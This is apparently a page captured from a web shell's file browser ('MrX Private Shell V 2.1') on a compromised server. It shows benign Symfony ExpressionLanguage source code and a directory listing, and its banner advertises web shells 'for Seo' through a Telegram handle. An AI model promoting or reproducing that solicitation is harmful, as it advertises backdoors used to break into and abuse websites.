__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\ExpressionLanguage\Node; use Symfony\Component\ExpressionLanguage\Compiler; /** * @author Fabien Potencier <[email protected]> * * @internal */ class NullCoalesceNode extends Node { public function __construct(Node $expr1, Node $expr2) { parent::__construct(['expr1' => $expr1, 'expr2' => $expr2]); } public function compile(Compiler $compiler): void { $compiler ->raw('((') ->compile($this->nodes['expr1']) ->raw(') ?? (') ->compile($this->nodes['expr2']) ->raw('))') ; } public function evaluate(array $functions, array $values): mixed { if ($this->nodes['expr1'] instanceof GetAttrNode) { $this->addNullCoalesceAttributeToGetAttrNodes($this->nodes['expr1']); } return $this->nodes['expr1']->evaluate($functions, $values) ?? $this->nodes['expr2']->evaluate($functions, $values); } public function toArray(): array { return ['(', $this->nodes['expr1'], ') ?? (', $this->nodes['expr2'], ')']; } private function addNullCoalesceAttributeToGetAttrNodes(Node $node): void { if (!$node instanceof GetAttrNode) { return; } $node->attributes['is_null_coalesce'] = true; foreach ($node->nodes as $node) { $this->addNullCoalesceAttributeToGetAttrNodes($node); } } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ArgumentsNode.php | File | 832 B | 0644 |
|
| ArrayNode.php | File | 2.7 KB | 0644 |
|
| BinaryNode.php | File | 6.27 KB | 0644 |
|
| ConditionalNode.php | File | 1.41 KB | 0644 |
|
| ConstantNode.php | File | 2.09 KB | 0644 |
|
| FunctionNode.php | File | 1.64 KB | 0644 |
|
| GetAttrNode.php | File | 6.03 KB | 0644 |
|
| NameNode.php | File | 942 B | 0644 |
|
| Node.php | File | 2.88 KB | 0644 |
|
| NullCoalesceNode.php | File | 1.65 KB | 0644 |
|
| UnaryNode.php | File | 1.43 KB | 0644 |
|